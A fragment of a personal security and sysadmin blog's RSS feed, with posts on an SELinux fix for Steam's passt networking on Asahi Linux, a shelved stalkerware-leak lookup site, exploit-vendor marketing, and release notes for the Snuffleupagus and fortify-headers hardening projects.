&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Failed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;manifest&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Saving&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;metrics&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jvoisin&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Steam&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;steam_client_metrics&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Verifying&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;installation&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Verifying&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checksums&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Verifying&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;installation&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Verifying&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;installation&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A quick look at &lt;code&gt;journalctl&lt;/code&gt; shows that SELinux doesn't like what &lt;code&gt;passt&lt;/code&gt; is
trying to do:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Mar 17 23:07:26 chernabog audit[2093303]: AVC avc:  denied  { execstack } for  pid=2093303 comm=&amp;quot;passt&amp;quot; scontext=unconfined_u:unconfined_r:passt_t:s0-s0:c0.c1023 tcontext=unconfined_u:unconfined_r:passt_t:s0-s0:c0.c1023 tclass=process permissive=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://passt.top/passt/about/"&gt;Passt&lt;/a&gt; is a piece of software providing
user-mode networking for virtual machines, and apparently got stuck in the 90s
because it requires an executable stack, sigh.&lt;/p&gt;
&lt;p&gt;The easiest way to fix this is to &lt;del&gt;read the ~250-pages long &lt;a href="https://github.com/SELinuxProject/selinux-notebook"&gt;SELinux
notebook&lt;/a&gt;&lt;/del&gt; use
&lt;a href="https://linux.die.net/man/8/ausearch"&gt;&lt;code&gt;ausearch&lt;/code&gt;&lt;/a&gt; and to throw its output to
&lt;a href="https://linux.die.net/man/1/audit2allow"&gt;&lt;code&gt;audit2allow&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gp"&gt;# &lt;/span&gt;ausearch&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;passt&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--raw&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;audit2allow&lt;span class="w"&gt; &lt;/span&gt;-M&lt;span class="w"&gt; &lt;/span&gt;local-passt
&lt;span class="go"&gt;******************** IMPORTANT ***********************&lt;/span&gt;
&lt;span class="go"&gt;To make this policy package active, execute:&lt;/span&gt;

&lt;span class="go"&gt;semodule -i local-passt.pp&lt;/span&gt;

&lt;span class="gp"&gt;# &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;local-passt.te

&lt;span class="go"&gt;module local-passt 1.0;&lt;/span&gt;

&lt;span class="go"&gt;require {&lt;/span&gt;
&lt;span class="go"&gt;    type passt_t;&lt;/span&gt;
&lt;span class="go"&gt;    class udp_socket getattr;&lt;/span&gt;
&lt;span class="go"&gt;    class process { execmem execstack };&lt;/span&gt;
&lt;span class="go"&gt;}&lt;/span&gt;

&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="o"&gt;=============&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;passt_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==============&lt;/span&gt;

&lt;span class="gp"&gt;#&lt;/span&gt;!!!!&lt;span class="w"&gt; &lt;/span&gt;This&lt;span class="w"&gt; &lt;/span&gt;avc&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;allowed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;current&lt;span class="w"&gt; &lt;/span&gt;policy
&lt;span class="go"&gt;allow passt_t self:process execstack;&lt;/span&gt;
&lt;span class="go"&gt;allow passt_t self:process execmem;&lt;/span&gt;

&lt;span class="gp"&gt;#&lt;/span&gt;!!!!&lt;span class="w"&gt; &lt;/span&gt;This&lt;span class="w"&gt; &lt;/span&gt;avc&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;allowed&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;current&lt;span class="w"&gt; &lt;/span&gt;policy
&lt;span class="go"&gt;allow passt_t self:udp_socket getattr;&lt;/span&gt;
&lt;span class="gp"&gt;# &lt;/span&gt;semodule&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;local-passt.pp
&lt;span class="go"&gt;libsemanage.semanage_direct_install_info: Overriding local-passt module at lower priority 300 with module at priority 400.&lt;/span&gt;
&lt;span class="gp"&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And that's it, Steam should now be able to reach the information superhighway
again.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Wed, 18 Mar 2026 00:45:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2026-03-18:/b/fixing-steams-download-failed-http-error-0-on-asahi-linux.html</guid><category>sysadmin</category></item><item><title>"Have I Been Stalked" post-mortem</title><link>https://dustri.org/b/have-i-been-stalked-post-mortem.html</link><description>&lt;p&gt;With more and more databases from stalkerware being &lt;a href="https://techcrunch.com/?s=stalkerware"&gt;made freely
available&lt;/a&gt;, there were some internal
conversations at &lt;a href="https://echap.eu.org"&gt;Echap&lt;/a&gt; about what could be done with
them to help victims. Everyone knows &lt;a href="https://haveibeenpwned.com/"&gt;Have I Been
Pwned&lt;/a&gt;, the website where you can put your email
address and check if it appears in &lt;em&gt;popular&lt;/em&gt; database leaks. Wouldn't it be
nice to do something similar, but for stalkerware?&lt;/p&gt;
&lt;p&gt;I built a prototype in &lt;a href="https://flask.palletsprojects.com/"&gt;Flask&lt;/a&gt;, but quickly
switched to &lt;a href="https://djangoproject.com/"&gt;Django&lt;/a&gt; because of its autogenerated
administration interface. It also comes with a lot of nice things like a
declarative data model, integrated form validation, and so on.
For the database, &lt;a href="https://www.postgresql.org/"&gt;PostgreSQL&lt;/a&gt; was suggested, but
I picked &lt;a href="https://sqlite.org"&gt;sqlite&lt;/a&gt; instead, as not &lt;em&gt;that&lt;/em&gt; much traffic is expected,
and except for new leaks incorporation, access will be purely read-only. Also,
easy backups. To prevent enumeration/bruteforce and to keep bots in check,
&lt;a href="https://hcaptcha.com/"&gt;hcaptcha&lt;/a&gt; is alright, and it'll likely have
a better accessibility than something homegrown.&lt;/p&gt;
&lt;p&gt;The real questions were more about privacy than about the technical stack.
First of all, the decision was made of allowing users to query the database via
&lt;a href="https://en.wikipedia.org/wiki/International_Mobile_Equipment_Identity"&gt;IMEI&lt;/a&gt;,
and not phone numbers, since the later is usually public, and we don't want
anyone to check their &lt;em&gt;friends&lt;/em&gt; devices. Another important piece was data
minimization: we already have databases with a ton of data in them, and
there is nothing we can do to reduce those, but what we &lt;em&gt;can do&lt;/em&gt; is to only
put the smallest possible subset of this data on the website, to tell people if
their device was infected, when, by what, and possibly by whom.&lt;/p&gt;
&lt;p&gt;The IMEI is stored &lt;a href="https://en.wikipedia.org/wiki/SHA-2"&gt;hashed&lt;/a&gt;, not for
security purposes as the number of possible IMEI is around 10¹⁴ making the
whole keyspace absolutely bruteforceable, but so that an administrator doing
maintenance/debugging doesn't see them in clear-text. Another nice trick to
prevent the website from knowing who is checking what device, is to generate a
dozen random IMEI client-side, and send them along with the real IMEI the user
is checking, so that it could only be inferred, if someone wanted to look after
the fact, that a given IP address checked a given set of IMEI. Of course, the
IMEI-checking queries are made via &lt;code&gt;POST&lt;/code&gt;, and thus don't show up in the logs.&lt;/p&gt;
&lt;p&gt;Speaking of data, the database leaks were either publicly available, or sent
to us by third parties. There is no plans to share them with anyone.&lt;/p&gt;
&lt;p&gt;While I'm the one who wrote the code, this project is also the brainchild of
&lt;a href="https://esther.codes/"&gt;Esther&lt;/a&gt;, who provided technical expertise on "
Django and stuff in production", back'n'forth conversations on everything
privacy-related, as well as an early Django-based prototype.&lt;/p&gt;
&lt;p&gt;The website looks like this:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://dustri.org/b/images/hibs.png"&gt;&lt;img alt="main page" src="https://dustri.org/b/images/hibs.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://dustri.org/b/images/hibsfaq.png"&gt;&lt;img alt="faq page" src="https://dustri.org/b/images/hibsfaq.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now where can you find this marvel of modern engineering? Well you can't
(albeit I can provide the code if you really want.) It was eventually decided to not
go through with the project for several reasons, including:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It's a legal minefield that Echap, as a miniscule non-profit, isn't equipped
   at all to navigate.&lt;/li&gt;
&lt;li&gt;On haveibeenpwned, the remediation steps are straightforward: change your
   password, email you &lt;a href="https://en.wikipedia.org/wiki/National_data_protection_authority"&gt;national data protection
   authorities&lt;/a&gt;,
   go on with your life. For stalkerware, not so much; it's a traumatic event
   to be told that one's phone has been spied on, and removing the stalkerware
   might tip the attacker and worsen the situation. Moreover, Echap's is
   only providing technical expertise/support/training/documentation to
   entities doing actual assistance, not the assistance itself.&lt;/li&gt;
&lt;li&gt;While I'm more-or-less confident in my technical skills, hosting such
   sensitive data on the internet makes is the kind of thing that keeps you up
   at night.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It was an interesting idea, with exciting privacy challenges, but in the end,
I'm glad it was shelved. But rest assured that other things have being worked
on ;)&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Wed, 11 Feb 2026 00:30:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2026-02-11:/b/have-i-been-stalked-post-mortem.html</guid><category>web</category></item><item><title>Antide's Law</title><link>https://dustri.org/b/antides-law.html</link><description>&lt;p&gt;A friend of mine, namely &lt;a href="https://xark.es/"&gt;Antide "xarkes" Petit&lt;/a&gt;, came up with
a pretty good rule of thumb that I think should be elevated into a law,
Antide's Law:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If it's unclear what a cyber-security company is doing, what they're doing
is pretty clear.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For example, take a look at &lt;a href="https://www.offensivecon.org/"&gt;Offensive Con&lt;/a&gt;
&lt;a href="https://www.offensivecon.org/sponsors/2025.html"&gt;2025&lt;/a&gt; and
&lt;a href="https://www.offensivecon.org/sponsors/2024.html"&gt;2024&lt;/a&gt; sponsors. Amongst them,
you can find:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.catalystsecurity.com/"&gt;Catalyst Security&lt;/a&gt;:
  "Catalyst Security is a growing team of highly experienced vulnerability
  researchers, working on solving the most challenging problems in support of
  our customers."&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.safateam.com/about"&gt;SAFA&lt;/a&gt;: "Leveraging human and machine
  intelligence, SAFA zooms into cyber threat flashpoints, keeping you protected
  now and into the future." as well as "SAFA’s progressive approach to
  cybersecurity means we’re not content to see clients tread water; we strive
  to keep them ahead of cyber threats. Our in-house research, along with the
  latest technologies, lets you see what’s coming and proactively adapt."&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vigilantlabs.com/"&gt;Vigilant Labs&lt;/a&gt;: "It's a need to know thing."&lt;/li&gt;
&lt;li&gt;&lt;a href="https://binarygecko.com/"&gt;Binary Gecko&lt;/a&gt;: "Binary Gecko GmbH provides tailor
  made cybersecurity solutions and services. Our international team is made up
  of world class, highly technical professionals with a proven track record in
  the field. We strive to tackle every problem with a holistic and in depth
  approach."&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.secfence.com/aboutus.html"&gt;Secfence&lt;/a&gt;: "Secfence has been the
  pioneer of Information Security in India for almost a decade. We are a
  research- based organization and we take pride in innovating and pioneering
  many techniques and methodologies in Information Security. Along with our
  in-house research teams, we have formed global alliances to bring the latest
  and the best technology to our clients."&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It's not obvious what services those companies are providing, so it's pretty
obvious what services they're providing: exploits/capabilities.&lt;/p&gt;
&lt;p&gt;Of course, it isn't a universal law. For one, it doesn't apply to
megacorporations, as they too tend to have meaningless blurbs on their websites
as well. For example, while "&lt;a href="https://www.capgemini.com/about-us/"&gt;Capgemini&lt;/a&gt;
helps businesses imagine their future and make it real with AI, technology and
people." doesn't means much, what they're providing is information technology
consulting and outsourcing, like &lt;a href="https://www.usaspending.gov/award/CONT_IDV_70CDCR26D00000015_7012"&gt;providing skip tracing
services for enforcement and removal operations for the
ICE&lt;/a&gt;.
Also, sometimes, it's simply a company being abysmally bad at marketing.&lt;/p&gt;
&lt;p&gt;Note that the contrapositive isn't true, a minority of companies are pretty
open about what they're doing, like
&lt;a href="https://www.crowdfense.com/about-us/"&gt;CrowdFense&lt;/a&gt; or
&lt;a href="https://www.epsilon-sec.com/what-we-do"&gt;Epsilon&lt;/a&gt;. And finally, some companies
like &lt;a href="https://zerodium.com/"&gt;Zerodium&lt;/a&gt; are so (in)famous that everyone knows
more or less what they're doing.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Wed, 04 Feb 2026 21:00:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2026-02-04:/b/antides-law.html</guid><category>security</category></item><item><title>Snuffleupagus 0.13.0 - Elephas</title><link>https://dustri.org/b/snuffleupagus-0130-elephas.html</link><description>&lt;p&gt;&lt;a href="https://snuffleupagus.readthedocs.org"&gt;&lt;img alt="snuffleupagus logo" src="https://dustri.org/b/images/sp.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I just published a new release of
&lt;a href="https://github.com/jvoisin/snuffleupagus/releases/tag/v0.13.0"&gt;Snuffleupagus&lt;/a&gt;,
the hardening module for php7+ and php8+,
version &lt;code&gt;0.13.0&lt;/code&gt;, codename "Elephas",
named after the &lt;a href="https://en.wikipedia.org/wiki/Elephas"&gt;genus of elephants&lt;/a&gt;.
There aren't any new flashing features, only bug fixes, PHP85 support,
minor improvements, and a security fix for
&lt;a href="https://github.com/jvoisin/snuffleupagus/security/advisories/GHSA-c4ch-xw5p-2mvc"&gt;CVE-2026-22034&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Thanks to &lt;a href="https://github.com/thomas-chauchefoin-tob"&gt;Thomas Chauchefoin&lt;/a&gt; for
finding the vulnerability and producing a &lt;a href="https://github.com/jvoisin/snuffleupagus/security/advisories/GHSA-c4ch-xw5p-2mvc"&gt;comprehensive
write-up&lt;/a&gt;.
While being assigned CVE is never fun, it's also a sign that people are
interested in your software enough to spend the time to looks for bugs.
Moreover, I guess it was a learning opportunity to be on the other side for
once. As usual, the CVSS score (9.2/10) is bullshit by design as there is no
way to properly account for the required conditions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Snuffleupagus' &lt;a href="https://snuffleupagus.readthedocs.io/config.html#upload-validation"&gt;&lt;code&gt;upload_validation&lt;/code&gt;&lt;/a&gt; to be enabled, which isn't the default configuration.&lt;/li&gt;
&lt;li&gt;To be manually configured to use &lt;a href="https://github.com/derickr/vld"&gt;&lt;code&gt;vld&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;To have the &lt;code&gt;vld&lt;/code&gt; module unavailable.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Nevertheless, as PHP isn't erroring out on missing modules (!), whatever
update/change breaking &lt;code&gt;vld&lt;/code&gt; might silently result in a catastrophic remote
code execution, so please do update. The fix is
&lt;a href="https://github.com/jvoisin/snuffleupagus/commit/9278dc77bab2a219e770a1b31dd6797bc9070e37"&gt;dead-simple&lt;/a&gt;
and can easily be backported if that's your kink.&lt;/p&gt;
&lt;h3&gt;Changelog&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Compatibility with PHP8.5&lt;/li&gt;
&lt;li&gt;Add the possibility to log to a file&lt;/li&gt;
&lt;li&gt;Improve .drop() logging reliability when &lt;code&gt;set_error_handler&lt;/code&gt; is used&lt;/li&gt;
&lt;li&gt;Improve simulation mode for &lt;code&gt;unserialize()&lt;/code&gt; when no HMAC key is provided&lt;/li&gt;
&lt;li&gt;Fix a possible arbitrary code execution on misconfigured &lt;code&gt;upload_validation&lt;/code&gt; deployments (&lt;a href="https://github.com/jvoisin/snuffleupagus/security/advisories/GHSA-c4ch-xw5p-2mvc"&gt;CVE-2026-22034&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As usual, if you want to help, we have some
&lt;a href="https://github.com/jvoisin/snuffleupagus/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22"&gt;low hanging fruits&lt;/a&gt; ♥&lt;/p&gt;
&lt;p&gt;See you in your PHP stack!&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Wed, 07 Jan 2026 12:00:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2026-01-07:/b/snuffleupagus-0130-elephas.html</guid><category>php</category></item><item><title>fortify-headers 3.0.1</title><link>https://dustri.org/b/fortify-headers-301.html</link><description>&lt;p&gt;There is a new minor release of &lt;a href="https://git.2f30.org/fortify-headers/"&gt;fortify-headers&lt;/a&gt;,
namely 3.0.1. Minor releases means no new features, only bug fixes.&lt;/p&gt;
&lt;p&gt;The C language doesn't really have the notion of namespaces: all symbols,
except those marked as &lt;code&gt;static&lt;/code&gt; are exposed. To mitigate the possibility of
collisions, it's a good practise to prefix exported symbols with an
library-specific identifier, like &lt;code&gt;xml&lt;/code&gt; for libxml2 (eg. &lt;code&gt;xmlReadFile&lt;/code&gt;), 
&lt;code&gt;SSL&lt;/code&gt; for OpenSSL (eg. &lt;code&gt;SSL_library_init&lt;/code&gt;) and so on. &lt;a href="https://en.cppreference.com/w/c/language/identifier.html"&gt;Symbols starting with an
underscore followed by either an upper-case letter or another underscore are
implementation-reserved&lt;/a&gt;.
I was a bit cocky, and assumed that since fortify-headers is kind of part of
the implementation, I could name macros &lt;code&gt;__format&lt;/code&gt;, &lt;code&gt;__warning_if&lt;/code&gt;, &lt;code&gt;__access&lt;/code&gt;,
… Unfortunately, this lead to a collision with LLVM's libcxx, as it defines
a &lt;code&gt;__format&lt;/code&gt; macro in its C++ locale header (&lt;code&gt;/usr/include/c++/v1/locale&lt;/code&gt;).
This &lt;a href="https://github.com/jvoisin/fortify-headers/issues/76"&gt;was found&lt;/a&gt; by
&lt;a href="https://hacktivis.me/"&gt;Haelwenn (lanodan) Monnier&lt;/a&gt;, when he tried to make use
of fortify-headers on Gentoo. The fix is quite straightforward: make use of a
fortify-headers specific prefix, resulting in &lt;code&gt;__fortify_format&lt;/code&gt;,
&lt;code&gt;__fortify_warning_if&lt;/code&gt;, &lt;code&gt;__fortify_access&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The release is available on &lt;a href="https://github.com/jvoisin/fortify-headers/releases/tag/3.0.1"&gt;github&lt;/a&gt;,
and the tag has been pushed on &lt;a href="https://git.2f30.org/fortify-headers/refs.html"&gt;2f30&lt;/a&gt;
as well.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Mon, 05 Jan 2026 17:30:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2026-01-05:/b/fortify-headers-301.html</guid><category>security</category></item><item><title>2025 in retrospect</title><link>https://dustri.org/b/2025-in-retrospect.html</link><description>&lt;p&gt;In 2025, I did, amongst other things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read some books:&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Torture_Taxi"&gt;Torture Taxi: On the Trail of the CIA's Rendition Flights&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mattpotter.com/latest-book-outlaws-inc/"&gt;Outlaws Inc&lt;/a&gt;: a lot of storytelling, not much meat, still interesting.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Fran%C3%A7ois_B%C3%A9gaudeau"&gt;Boniments&lt;/a&gt;: hard to find anything hiding under so much sarcasm.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theintercept.com/drone-papers/the-assassination-complex/"&gt;The Assassination Complex&lt;/a&gt;: drone-powered war crimes made in USA.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Catcher_in_the_Rye"&gt;The Catcher in the Rye&lt;/a&gt;: anyone who wants to ban this book didn't read it.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Trevor_Paglen"&gt;Blank Spots on the Map: The Dark Geography of the Pentagon's Secret World&lt;/a&gt;: fascinating.&lt;/li&gt;
